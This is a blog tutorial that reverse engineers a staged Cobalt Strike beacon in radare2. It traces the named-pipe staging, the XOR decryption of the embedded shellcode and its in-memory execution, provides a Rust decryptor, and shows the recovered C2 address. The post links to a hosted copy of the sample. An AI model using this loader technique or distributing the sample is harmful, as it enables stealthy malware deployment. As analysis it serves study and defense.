Beacon Busting: Reversing Cobalt Strike

2024 Dec 01

What, Why

If you're here, you've heard of Cobalt Strike. However, many a operator often use these tools without any understanding of what happens underneath the hood. In this short series, we'll be reverse engineering a staged cobalt strike beacon and try to determine what it's actually doing and maybe what we can do to improve the trade craft. In this series, I'll be using the radare2 reverse engineering framework simply because I think it's cool.

Getting Started

We'll be using radare2 without any fancy plugins like r2dec or r2ghidra for this tutorial so it should be pretty easy to get setup. For practice, I'll host the staged payload here. Simply download the latest release from the github and start that bad puppy up with

r2 artifact.exe

Keep in mind that radare2 has a very active community and updates are coming in all the time. Things may look slightly different if you're looking at this post far into the future.

Next, let's analyze the binary. This being on the smaller side, we can auto analyze to the best of r2's ability without having to worry about it taking forever.

[0x004014b0]> aaaaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
INFO: Reanalizing graph references to adjust functions count (aarr)
INFO: Autoname all functions (.afna@@c:afla)

For the uninitiated, r2 can look very daunting, but with a little experience it becomes very intuitive for most operations. For example, the a keyword is used to access the analysis functions. Adding more a's to it makes it analyze more. Use the ? in any context to get info about a command or a sub command.

[0x004014b0]> a?
Usage: a  [abdefFghoprxstc] [...]
| a                alias for aai - analysis information
| a:[cmd]          run a command implemented by an analysis plugin (like : for io)
| a*               same as afl*;ah*;ax*
| aa[?]            analyze all (fcns + bbs) (aa0 to avoid sub renaming)
| a8 [hexpairs]    analyze bytes
| ab[?]            analyze basic block
| ac[?]            manage classes
| aC[?]            analyze function call
| ad[?]            analyze data trampoline (wip) (see 'aod' to describe mnemonics)
| ad [from] [to]   analyze data pointers to (from-to)
| ae[?] [expr]     analyze opcode eval expression (see ao)
| af[?]            analyze functions
| aF               same as above, but using anal.depth=1
| ag[?] [options]  draw graphs in various formats
| ah[?]            analysis hints (force opcode size, ...)
| ai [addr]        address information (show perms, stack, heap, ...)
| aj               same as a* but in json (aflj)
| aL[jq]           list all asm/anal plugins (See `e asm.arch=?` and `La[jq]`)
| an[?] [name]     show/rename/create whatever var/flag/function used in current instruction
| ao[?] [len]      analyze Opcodes (or emulate it)
| aO[?] [len]      analyze N instructions in M bytes
| ap               find prelude for current offset
| ar[?]            like 'dr' but for the esil vm. (registers)
| as[?] [num]      analyze syscall using dbg.reg
| av[?] [.]        show vtables
| avg[?] [.]       manage global variables
| ax[?]            manage refs/xrefs (see also afx?)

Now to get into it. For some easy wins, one of the first places to check is the Import Address Table.

[0x004014b0]> ii
[Imports]
nth vaddr      bind type lib          name
――――――――――――――――――――――――――――――――――――――――――
1   0x00409244 NONE FUNC KERNEL32.dll CloseHandle
2   0x0040924c NONE FUNC KERNEL32.dll ConnectNamedPipe
3   0x00409254 NONE FUNC KERNEL32.dll CreateFileA
4   0x0040925c NONE FUNC KERNEL32.dll CreateNamedPipeA
5   0x00409264 NONE FUNC KERNEL32.dll CreateThread
6   0x0040926c NONE FUNC KERNEL32.dll DeleteCriticalSection
7   0x00409274 NONE FUNC KERNEL32.dll EnterCriticalSection
8   0x0040927c NONE FUNC KERNEL32.dll GetCurrentProcess
9   0x00409284 NONE FUNC KERNEL32.dll GetCurrentProcessId
10  0x0040928c NONE FUNC KERNEL32.dll GetCurrentThreadId
11  0x00409294 NONE FUNC KERNEL32.dll GetLastError
12  0x0040929c NONE FUNC KERNEL32.dll GetModuleHandleA
13  0x004092a4 NONE FUNC KERNEL32.dll GetProcAddress
14  0x004092ac NONE FUNC KERNEL32.dll GetStartupInfoA
15  0x004092b4 NONE FUNC KERNEL32.dll GetSystemTimeAsFileTime
16  0x004092bc NONE FUNC KERNEL32.dll GetTickCount
<--- SNIP --->
31  0x00409334 NONE FUNC KERNEL32.dll VirtualAlloc
32  0x0040933c NONE FUNC KERNEL32.dll VirtualProtect
33  0x00409344 NONE FUNC KERNEL32.dll VirtualQuery
34  0x0040934c NONE FUNC KERNEL32.dll WriteFile
1   0x0040935c NONE FUNC msvcrt.dll   __C_specific_handler

Here in table we can see different functions that are typically used for local process injection. We can cross reference the juicy functions like CreateThread, VirtualProtect, etc to see where they're called.

[0x004014b0]> axt sym.imp.KERNEL32.dll_CreateThread
sub.sub.flProtect_40152e_40152e 0x4015b6 [CALL:--x] call qword [sym.imp.KERNEL32.dll_CreateThread]
sub.sub.size_401795_401795 0x401822 [CALL:--x] call qword [sym.imp.KERNEL32.dll_CreateThread]
(nofunc) 0x402fc8 [CODE:--x] jmp qword [sym.imp.KERNEL32.dll_CreateThread]

We see the CreateThread windows API call used in two different functions. We'll analyze them and rename them based on the function they serve.

First, we'll start with the function sub.sub.flProtect_40152e_40152e.

[0x004014b0]> pdf @ sub.sub.flProtect_40152e_40152e
  ; CALL XREF from sub.sub.size_401795_401795 @ 0x401787(x)
 154: sub.sub.flProtect_40152e_40152e (int64_t arg1, int64_t arg2, int64_t arg3);
 ; arg int64_t arg1 @ rcx
 ; arg int64_t arg2 @ rdx
 ; arg int64_t arg3 @ r8
 ; var DWORD dwCreationFlags @ rsp+0x20
 ; var LPDWORD lpThreadId @ rsp+0x28
 ; var PDWORD lpflOldProtect @ rsp+0x3c
<--- SNIP --->

At the very beginning, we see this function takes three arguments. It might be useful to cross reference this function and find out what these arguments are to help up see the picture.

[0x004014b0]> axt sub.sub.flProtect_40152e_40152e
sub.sub.size_401795_401795 0x401787 [CALL:--x] call sub.sub.flProtect_40152e_40152e

It's called exactly once, so let's look into the sub.sub.size_401795_401795 function that also appeared in the last cross reference search.

Something to note here: the address claiming to belong to the sub.sub.size_401795_401795 function that calls the sub.sub.flProtect_40152e_40152e function has an address less than the starting address of the function. Meaning that a linear disassembly command pdf wouldn't suffice and we need the to recursively disassemble across the function graph command pdr.

0x004014b0]> pdr @ sub.sub.size_401795_401795
<--- SNIP --->
 0x00401773      85c0           test eax, eax
 0x00401775      74e7           je 0x40175e
| // true: 0x0040175e  false: 0x00401777
 0x00401777      8b1587280000   mov edx, dword [0x00404004]           ; [0x404004:4]=0x37c ; int64_t arg2
 0x0040177d      4c8d058428..   lea r8, [0x00404008]                  ; int64_t arg3
 0x00401784      4889d9         mov rcx, rbx                          ; int64_t arg1
 0x00401787      e8a2fdffff     call sub.sub.flProtect_40152e_40152e
<--- SNIP --->

In x64 assembly, there are a few conventions and it's important to be mindful about the target architecture the binary you're reversing is for. For example, the Linux x64 calling convention passes arguments 1-6 into the RDI, RSI, RDX RCX, R8, and R9 registers respectively, and if you need more they are pushed to the stack. In our case, Windows, the first four arguments go into the RCX, RDX, R8, and R9 registers.

Looking at the above snippet, we can see radare did some work for us. Argument 2 is a DWORD with a value of 0x037c, and argument 3 uses the lea instruction to calculate a pointer to the 0x00404008 address. Next, we need to find out what the first argument is. Looking up higher in the function we can see:

<--- SNIP --->
 0x00401748      48630db528..   movsxd rcx, dword [0x00404004] ; [0x404004:4]=0x37c ; size_t size
 0x0040174f      e88c170000     call sub.sub.sub.msvcrt.dll_malloc_402ee0_402ee0
 0x00401754      488b35b97b..   mov rsi, qword [sym.imp.KERNEL32.dll_Sleep] ; [0x409314:8]=0x9662 reloc.KERNEL32.dll_Sleep ; "b\x96"
 0x0040175b      4889c3         mov rbx, rax
<--- SNIP --->

The value 0x037c was passed into the malloc function call, which returns a pointer to the allocated memory. Using the mov instruction, it is then copied into the rbx register.

Putting all of this together, We can paint a picture of something like the following C:

  sub.sub.flProtect_40152e_40152e(buffer,0x037c,&data);

Which begs the question of what's at data? Let's check with r2.

[0x004014b0]> px @ 0x00404008
- offset -   8 9  A B  C D  E F 1011 1213 1415 1617  89ABCDEF01234567
0x00404008  12fc 6313 0000 0000 0000 0000 eeb4 e0f7  ..c.............
0x00404018  e214 ab13 12fc 2242 53ac 3142 44b4 52c1  ......"BS.1BD.R.
0x00404028  77b4 e841 72b4 e841 0ab4 e841 32b4 e861  w..Ar..A...A2..a
0x00404038  42b4 6ca4 58b6 2e22 dbb4 52d3 bec0 026f  B.l.X.."..R....o
0x00404048  10d0 4352 d335 6e52 133d 81fe 40bd 325b  ..CR.5nR.=..@.2[
0x00404058  99ae 4398 50c0 2b12 c29a e26b 0af7 6166  ..C.P.+....k..af
0x00404068  6077 e39b 12fc 635b 973c 1774 5afd b343  `w....c[.<.tZ..C
0x00404078  99b4 7b57 99bc 435a 132c 8045 5a03 aa52  ..{W..CZ.,.EZ..R
0x00404088  99c8 eb5b 132a 2e22 dbb4 52d3 bebd a2da  ...[.*."..R.....
0x00404098  1fbd 62d2 2a1c 16e2 5eff 2f37 1ab9 5ac2  ..b.*...^./7..Z.
0x004040a8  6724 3b57 99bc 475a 132c 0552 99f0 2b57  g$;W..GZ.,.R..+W
0x004040b8  99bc 7f5a 132c 2298 1674 2b12 c2bd 3b52  ...Z.,"..t+...;R
0x004040c8  4aa2 3a49 53a4 224a 53a6 2b90 fedc 2241  J.:IS."JS.+..."A
0x004040d8  ed1c 3b52 4ba6 2b98 0015 2cec ed03 3e79  ..;RK.+...,...>y
0x004040e8  12b5 dd64 7b92 0a7d 7788 6352 44b5 eaf5  ...d{..}w.cRD...
0x004040f8  5e75 9252 a8b0 1435 1503 b65b 2335 2b22  ^u.R...5...[#5+"

While there's definitely something here, it's nothing that we can understand at the moment. However, all encrypted data must become unencrypted at some point in order to execute, so we'll look for where that happens.

Looking further down the function (keeping in mind that this function is non-linear), we see a call to the GetTicketCount function, which returns the uptime of the machine in seconds.

<--- SNIP --->
   0x00401799      ff151d7b0000   call qword [sym.imp.KERNEL32.dll_GetTickCount] ; [0x4092bc:8]=0x9572 reloc.KERNEL32.dll_GetTickCount ; "r\x95" ; DWORD GetTickCount(void)
   0x0040179f      b9aa260000     mov ecx, 0x26aa
   0x004017a4      31d2           xor edx, edx
   0x004017a6      41b95c000000   mov r9d, 0x5c                         ; '\\' ; 92
   0x004017ac      f7f1           div ecx
   0x004017ae      488d0dfb71..   lea rcx, [0x004089b0]                 ; char *s
   0x004017b5      41b85c000000   mov r8d, 0x5c                         ; '\\' ; 92
   0x004017bb      c74424505c..   mov dword [var_50h], 0x5c             ; '\\'
                                                                        ; [0x5c:4]=-1 ; 92
   0x004017c3      c744244865..   mov dword [var_48h], 0x65             ; 'e'
                                                                        ; [0x65:4]=-1 ; 101
   0x004017cb      c744244070..   mov dword [var_40h], 0x70             ; 'p'
                                                                        ; [0x70:4]=-1 ; 112
   0x004017d3      c744243869..   mov dword [var_38h], 0x69             ; 'i'
                                                                        ; [0x69:4]=-1 ; 105
   0x004017db      c744243070..   mov dword [var_30h], 0x70             ; 'p'
                                                                        ; [0x70:4]=-1 ; 112
   0x004017e3      c74424285c..   mov dword [lpThreadId], 0x5c          ; '\\'
                                                                        ; [0x5c:4]=-1 ; 92
   0x004017eb      c74424202e..   mov dword [dwCreationFlags], 0x2e     ; '.'
                                                                        ; [0x2e:4]=-1 ; 46
   0x004017f3      89542458       mov dword [var_58h], edx
   0x004017f7      488d152238..   lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server ; 0x405020 ; "%c%c%c%c%c%c%c%c%cMSSE-%d-server" ; const char *format
   0x004017fe      e80d170000     call sub.sub.sub.msvcrt.dll_sprintf_402f10_402f10
<--- SNIP --->

Then, a segmented string is loaded byte by byte (possibly to avoid detection with something like strings) and formatted with sprintf. This string is then stored in the .data section at 0x004089b0.

Next, there's a call to the CreateThread function that starts the sub.sub.sub.dwPipeMode_4015d0_401685_401685 function.

[0x0040152e]> pdf @ sub.sub.sub.dwPipeMode_4015d0_401685_401685
            ; DATA XREF from sub.sub.size_401795_401795 @ 0x401803(r)
 29: sub.sub.sub.dwPipeMode_4015d0_401685_401685 ();
  0x00401685      4883ec28       sub rsp, 0x28
  0x00401689      8b1575290000   mov edx, dword [0x00404004] ; [0x404004:4]=0x37c ; int64_t arg2
  0x0040168f      488d0d7e29..   lea rcx, [0x00404014]       ; int64_t arg1
  0x00401696      e835ffffff     call sub.sub.dwPipeMode_4015d0_4015d0
  0x0040169b      31c0           xor eax, eax
  0x0040169d      4883c428       add rsp, 0x28
  0x004016a1      c3             ret
<--- SNIP --->

This is a short function that seems to setup the sub.sub.dwPipeMode_4015d0_4015d0 function something like:

sub.sub.dwPipeMode_4015d0_4015d0(&data2, 0x037c);

Which is pretty close to the previous data we found before.

[0x0040152e]> px @ 0x00404014
- offset -  1415 1617 1819 1A1B 1C1D 1E1F 2021 2223  456789ABCDEF0123
0x00404014  eeb4 e0f7 e214 ab13 12fc 2242 53ac 3142  .........."BS.1B
0x00404024  44b4 52c1 77b4 e841 72b4 e841 0ab4 e841  D.R.w..Ar..A...A
0x00404034  32b4 e861 42b4 6ca4 58b6 2e22 dbb4 52d3  2..aB.l.X.."..R.
0x00404044  bec0 026f 10d0 4352 d335 6e52 133d 81fe  ...o..CR.5nR.=..
0x00404054  40bd 325b 99ae 4398 50c0 2b12 c29a e26b  @.2[..C.P.+....k
0x00404064  0af7 6166 6077 e39b 12fc 635b 973c 1774  ..af`w....c[.<.t
0x00404074  5afd b343 99b4 7b57 99bc 435a 132c 8045  Z..C..{W..CZ.,.E
0x00404084  5a03 aa52 99c8 eb5b 132a 2e22 dbb4 52d3  Z..R...[.*."..R.
0x00404094  bebd a2da 1fbd 62d2 2a1c 16e2 5eff 2f37  ......b.*...^./7
0x004040a4  1ab9 5ac2 6724 3b57 99bc 475a 132c 0552  ..Z.g$;W..GZ.,.R
0x004040b4  99f0 2b57 99bc 7f5a 132c 2298 1674 2b12  ..+W...Z.,"..t+.
0x004040c4  c2bd 3b52 4aa2 3a49 53a4 224a 53a6 2b90  ..;RJ.:IS."JS.+.
0x004040d4  fedc 2241 ed1c 3b52 4ba6 2b98 0015 2cec  .."A..;RK.+...,.
0x004040e4  ed03 3e79 12b5 dd64 7b92 0a7d 7788 6352  ..>y...d{..}w.cR
0x004040f4  44b5 eaf5 5e75 9252 a8b0 1435 1503 b65b  D...^u.R...5...[
0x00404104  2335 2b22 c0b1 52d3 5fcd aa52 42bd 3352  #5+"..R._..RB.3R

After creating the thread, the function jumps up to where we saw our aforementioned malloc and loops around a call to sub.sub.lpSecurityAttributes_4016a2_4016a2 and sleep

 0x00401748      48630db528..   movsxd rcx, dword [0x00404004]        ; [0x404004:4]=0x37c ; size_t size
 0x0040174f      e88c170000     call sub.sub.msvcrt.dll_malloc_402ee0
 0x00401754      488b35b97b..   mov rsi, qword [sym.imp.KERNEL32.dll_Sleep] ; [0x409314:8]=0x9662 reloc.KERNEL32.dll_Sleep ; "b\x96"
 0x0040175b      4889c3         mov rbx, rax
| // true: 0x0040175e
 ; CODE XREF from sub.size_401795 @ 0x401775(x)
 0x0040175e      b900040000     mov ecx, 0x400                        ; 1024
 0x00401763      ffd6           call rsi
 0x00401765      8b1599280000   mov edx, dword [0x00404004]           ; [0x404004:4]=0x37c
 0x0040176b      4889d9         mov rcx, rbx
 0x0040176e      e82fffffff     call sub.lpSecurityAttributes_4016a2
 0x00401773      85c0           test eax, eax
 0x00401775      74e7           je 0x40175e

This would look something like this in C:

void data = malloc(0x037c)
int test = 0;
do {
sleep(1024);
test = sub.sub.lpSecurityAttributes_4016a2_4016a2(data, 0x037c);
}
while (!test)

Disassembling the function we have a call to the CreateFileA function with the location to the string that was generated in the previous function passed as an argument.


   0x004016aa      4531c9         xor r9d, r9d                ; LPSECURITY_ATTRIBUTES lpSecurityAttributes
   0x004016ad      41b803000000   mov r8d, 3                  ; DWORD dwShareMode
   0x004016b3      4889cf         mov rdi, rcx                ; arg1
   0x004016b6      89d3           mov ebx, edx                ; arg2
   0x004016b8      c744244c00..   mov dword [var_4ch], 0
   0x004016c0      48c7442430..   mov qword [hTemplateFile], 0 ; HANDLE hTemplateFile
   0x004016c9      c744242880..   mov dword [dwFlagsAndAttributes], 0x80 ; pe_nt_image_headers64
                                                              ; [0x80:4]=-1 ; DWORD dwFlagsAndAttributes
   0x004016d1      ba00000080     mov edx, 0x80000000         ; DWORD dwDesiredAccess
   0x004016d6      c744242003..   mov dword [dwCreationDisposition], 3 ; DWORD dwCreationDisposition
   0x004016de      488d0dcb72..   lea rcx, [0x004089b0]       ; LPCSTR lpFileName
   0x004016e5      ff15697b0000   call qword [sym.imp.KERNEL32.dll_CreateFileA] 
<--- SNIP --->

Which should return a handle to the file (in this case, it looks like a named pipe). If a valid handle is returned ReadFile is called. ReadFile then reads the data from the named pipe then stores into it the malloc'd memory that was passed into the function. Let's rename this function read_and_store_data.

[0x00401795]> afn read_and_store_data sub.sub.lpSecurityAttributes_4016a2_4016a2
[0x00401795]> afl | grep read
0x004016a2    7    160 read_and_store_data

And rename sub.sub.size_401795_401795 to create_pipe_name_and_fork as it creates the name for the pipe and spawns another thread to sub.sub.dwPipeMode_4015d0_4015d0.

[0x00401795]> afn create_pipe_name_and_fork sub.sub.size_401795_401795
[0x00401795]> axt sym.imp.KERNEL32.dll_CreateThread
sub.sub.flProtect_40152e_40152e 0x4015b6 [CALL:--x] call qword [sym.imp.KERNEL32.dll_CreateThread]
create_pipe_name_and_fork 0x401822 [CALL:--x] call qword [sym.imp.KERNEL32.dll_CreateThread]
(nofunc) 0x402fc8 [CODE:--x] jmp qword [sym.imp.KERNEL32.dll_CreateThread]

Let's seek to the forked function and rename some variables now that we have a better understanding.

[0x00401795]> s sub.sub.dwPipeMode_4015d0_4015d0
[0x004015d0]> afvn data2 arg1
[0x004015d0]> afvn size arg2
[0x004015d0]> pdf
            ; CALL XREF from sub.sub.sub.dwPipeMode_4015d0_401685_401685 @ 0x401696(x)
 181: sub.sub.dwPipeMode_4015d0_4015d0 (int64_t data2, int64_t size);
           ; arg int64_t data2 @ rcx
           ; arg int64_t size @ rdx
<--- SNIP --->

Within the function, we can see a call to the CreateNamedPipeA that passes in the memory location of our created string from the last function 0x004089b0.

<--- SNIP --->
  0x004015d8      4531c0         xor r8d, r8d                ; DWORD dwPipeMode
  0x004015db      41b901000000   mov r9d, 1
  0x004015e1      4889cf         mov rdi, rcx                ; arg1
  0x004015e4      89d6           mov esi, edx                ; arg2
  0x004015e6      c744244c00..   mov dword [var_4ch], 0
  0x004015ee      48c7442438..   mov qword [var_38h], 0
  0x004015f7      c744243000..   mov dword [var_30h], 0
  0x004015ff      ba02000000     mov edx, 2                  ; DWORD dwOpenMode
  0x00401604      c744242800..   mov dword [var_28h], 0
  0x0040160c      c744242000..   mov dword [var_20h], 0
  0x00401614      488d0d9573..   lea rcx, [0x004089b0]       ; LPCSTR lpName
  0x0040161b      ff153b7c0000   call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA] 
<--- SNIP --->

Next, a call to the ConnectNamedPipe where a handle to the created named pipe is passed in.

<--- SNIP --->
  0x00401621      4889c3         mov rbx, rax
  0x00401624      488d40ff       lea rax, [rax - 1]
  0x00401628      4883f8fd       cmp rax, 0xfffffffffffffffd
  0x0040162c      774e           ja 0x40167c
  0x0040162e      31d2           xor edx, edx                ; LPOVERLAPPED lpOverlapped
  0x00401630      4889d9         mov rcx, rbx                ; HANDLE hNamedPipe
  0x00401633      ff15137c0000   call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
<--- SNIP --->

If the connection was successful, the program writes the data to the pipe and closes the handle.

<--- SNIP --->
  0x00401639      85c0           test eax, eax
  0x0040163b      488b2d0a7d..   mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile] ; [0x40934c:8]=0x96da reloc.KERNEL32.dll_WriteFile
  0x00401642      752a           jne 0x40166e
  0x00401644      eb36           jmp 0x40167c
  ; CODE XREF from sub.dwPipeMode_4015d0 @ 0x401670(x)
  0x00401646      48c7442420..   mov qword [var_20h], 0
  0x0040164f      4c8d4c244c     lea r9, [var_4ch]
  0x00401654      4189f0         mov r8d, esi
  0x00401657      4889fa         mov rdx, rdi
  0x0040165a      4889d9         mov rcx, rbx
  0x0040165d      ffd5           call rbp
  0x0040165f      85c0           test eax, eax
  0x00401661      740f           je 0x401672
  0x00401663      8b44244c       mov eax, dword [var_4ch]
  0x00401667      89c2           mov edx, eax
  0x00401669      29c6           sub esi, eax
  0x0040166b      4801d7         add rdi, rdx
  ; CODE XREF from sub.dwPipeMode_4015d0 @ 0x401642(x)
  0x0040166e      85f6           test esi, esi
  0x00401670      7fd4           jg 0x401646
  ; CODE XREF from sub.dwPipeMode_4015d0 @ 0x401661(x)
  0x00401672      4889d9         mov rcx, rbx                ; HANDLE hObject
  0x00401675      ff15c97b0000   call qword [sym.imp.KERNEL32.dll_CloseHandle]
<--- SNIP --->

We're getting close to seeing the full picture of this portion of the malware. Let's rename this function create_pipe_and_write because it creates a named pipe and writes data to it.

[0x004015d0]> afn create_pipe_and_write sub.sub.dwPipeMode_4015d0

Let's summarize what we know to be true so far.

  1. A pipe name is generated.
  2. A named pipe is created with that name.
  3. Data from location 0x00404014 with a size of 0x037c is being written to that pipe.
  4. In another thread, in a loop, the program tries to connect to the pipe trying again after sleeping.
  5. If successful, memory with a size of 0x037c is allocated, and the program reads the payload from the pipe.
  6. This payload is then stored into the allocated memory, and is passed to the sub.sub.flProtect_40152e_40152e function with a size of 0x037c, and some data stored at 0x00404008.

The path seems clear. We need to see what the sub.sub.flProtect_40152e_40152e function does with this data. This very first call is to VirtualAlloc that allocates a size of 0x037c.

<--- SNIP --->
  0x00401538      41b904000000   mov r9d, 4                  ; DWORD flProtect
  0x0040153e      4863f2         movsxd rsi, edx             ; arg2
  0x00401541      4989cc         mov r12, rcx                ; arg1
  0x00401544      89d7           mov edi, edx                ; arg2
  0x00401546      4c89c5         mov rbp, r8                 ; arg3
  0x00401549      4889f2         mov rdx, rsi                ; SIZE_T dwSize
  0x0040154c      41b800300000   mov r8d, 0x3000             ; DWORD flAllocationType
  0x00401552      31c9           xor ecx, ecx                ; LPVOID lpAddress
  0x00401554      ff15da7d0000   call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
<--- SNIP --->

Next, it seems that a loop is created that reads the malloc'd byte by byte, xor's it against the data written at 0x00404008, and stores the result in the newly allocated memory created by VirtualAlloc. This looks like an xor decryption function! The data at 0x00404008 must be an xor key.

<--- SNIP --->
  ┌─< 0x0040155f      eb11           jmp 0x401572
   ; CODE XREF from sub.flProtect_40152e @ 0x401576(x)
 ┌──> 0x00401561      83e203         and edx, 3
 ╎│   0x00401564      8a541500       mov dl, byte [rbp + rdx]
 ╎│   0x00401568      41321404       xor dl, byte [r12 + rax]
 ╎│   0x0040156c      881403         mov byte [rbx + rax], dl
 ╎│   0x0040156f      48ffc0         inc rax
 ╎│   ; CODE XREF from sub.flProtect_40152e @ 0x40155f(x)
 ╎└─> 0x00401572      39f8           cmp eax, edi
 ╎    0x00401574      89c2           mov edx, eax
 └──< 0x00401576      7ce9           jl 0x401561
<--- SNIP --->

Then, VirtualProtect is called to give the page executable permissions, and CreateThread is called to execute the now decrypted payload.

  0x00401578      4889d9         mov rcx, rbx
  0x0040157b      e873ffffff     call sub.KERNEL32.dll_GetModuleHandleA]_4014f3 ; sub.KERNEL32.dll_GetModuleHandleA]_4014f3
  0x00401580      4c8d4c243c     lea r9, [lpflOldProtect]    ; PDWORD lpflOldProtect
  0x00401585      4889f2         mov rdx, rsi                ; SIZE_T dwSize
  0x00401588      4889d9         mov rcx, rbx                ; LPVOID lpAddress
  0x0040158b      41b820000000   mov r8d, 0x20               ; 32 ; DWORD flNewProtect
  0x00401591      ff15a57d0000   call qword [sym.imp.KERNEL32.dll_VirtualProtect] ; 
  0x00401597      4c8d0552ff..   lea r8, [0x004014f0]        ; LPTHREAD_START_ROUTINE lpStartAddress
  0x0040159e      4989d9         mov r9, rbx                 ; LPVOID lpParameter
  0x004015a1      31d2           xor edx, edx                ; SIZE_T dwStackSize
  0x004015a3      31c9           xor ecx, ecx                ; LPSECURITY_ATTRIBUTES lpThreadAttributes
  0x004015a5      48c7442428..   mov qword [lpThreadId], 0   ; LPDWORD lpThreadId
  0x004015ae      c744242000..   mov dword [dwCreationFlags], 0 ; DWORD dwCreationFlags
  0x004015b6      ff15a87c0000   call qword [sym.imp.KERNEL32.dll_CreateThread]

We now see the full picture. A graph, as a treat.

image

Next, let's try extracting the payload and writing it to a file in tmp.

[0x004014b0]> s 0x00404014
[0x00404014]> y 0x037c
[0x00404014]> ytf /tmp/payload

Next, I wrote a xor decryptor in Rust (the GOAT) to read this file and with the key, create a new file that's hopefully an unencrypted payload.

use std::fs::File;
use std::io::{Read, Write};

fn xor_decrypt(encrypted_data: &[u8], key: u32) -> Vec<u8> {
    // Convert the key to a byte array (4-byte little-endian)
    let key_bytes = key.to_le_bytes();

    let mut decrypted_data = Vec::with_capacity(encrypted_data.len());

    // Iterate over the encrypted data and XOR with the key
    for (i, &byte) in encrypted_data.iter().enumerate() {
        let decrypted_byte = byte ^ key_bytes[i % 4]; // XOR with the corresponding byte of the key
        decrypted_data.push(decrypted_byte);
    }

    decrypted_data
}

fn main() -> std::io::Result<()> {
    // Read the encrypted data from file
    let mut file = File::open("/tmp/payload")?;
    let mut encrypted_data = Vec::new();
    file.read_to_end(&mut encrypted_data)?;

    let key = 0x1363FC12;

    // Decrypt the buffer
    let decrypted_data = xor_decrypt(&encrypted_data, key);

    // Write the decrypted data to a new file
    let mut output_file = File::create("/tmp/decrypted_payload")?;
    output_file.write_all(&decrypted_data)?;

    Ok(())
}

The moment of truth, let's see if we have valid instructions...

 r2 /tmp/decrypted_payload
[0x00000000]> aa
[0x00000000]> pdf
 210: fcn.00000000 ();
           ; var int64_t var_8h @ rsp+0x8
           0x00000000      fc             cld
           0x00000001      4883e4f0       and rsp, 0xfffffffffffffff0
           0x00000005      e8c8000000     call 0xd2
           0x0000000a      4151           push r9
           0x0000000c      4150           push r8
           0x0000000e      52             push rdx
           0x0000000f      51             push rcx
           0x00000010      56             push rsi
           0x00000011      4831d2         xor rdx, rdx
           0x00000014      65488b5260     mov rdx, qword gs:[rdx + 0x60]
           0x00000019      488b5218       mov rdx, qword [rdx + 0x18]
           0x0000001d      488b5220       mov rdx, qword [rdx + 0x20]

We have valid instructions!!! If you look at the strings, you can even see the IP address that I configured the beacon to reach out to and a Mozilla User-Agent string.

[0x00000000]> izz
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x0000000a 0x0000000a 9   10           ascii AQAPRQVH1
1   0x00000028 0x00000028 4   5            ascii JJM1
2   0x0000002d 0x0000002d 6   8            utf8  H1,<a|
3   0x00000040 0x00000040 4   5            ascii RAQH
4   0x0000007d 0x0000007d 4   6            utf8  H1,A
5   0x0000008e 0x0000008e 5   6            ascii L$\bE9
6   0x000000b1 0x000000b1 14  15           ascii AXAX^YZAXAYAZH
7   0x000000c6 0x000000c6 5   6            ascii XAYZH
8   0x000000d7 0x000000d7 7   8            ascii wininet
9   0x000000e9 0x000000e9 4   5            ascii Lw&\a
10  0x000000fb 0x000000fb 5   6            ascii APAPA
11  0x00000116 0x00000116 5   6            ascii AQAQj
12  0x0000014b 0x0000014b 5   6            ascii Pj\n_H
13  0x00000186 0x00000186 5   6            ascii /oi1T
14  0x0000018c 0x0000018c 5   6            ascii \fE\v}E
15  0x00000196 0x00000196 5   6            ascii pw71n
16  0x000001c4 0x000001c4 4   6            utf8  /3dҼ
17  0x000001d6 0x000001d6 82  83           ascii User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1)\r\n
18  0x0000026e 0x0000026e 6   7            ascii I*|[xk
19  0x00000293 0x00000293 5   6            ascii <)\nF.
20  0x000002a6 0x000002a6 4   5            ascii *0M`
21  0x000002d8 0x000002d8 5   7            utf8  #מ\trM
22  0x0000035a 0x0000035a 4   5            ascii XXXH
23  0x0000036a 0x0000036a 13  14           ascii 192.168.0.103

That was a lot. Working on part 2 where I'll analyze this new payload with some dynamic analysis.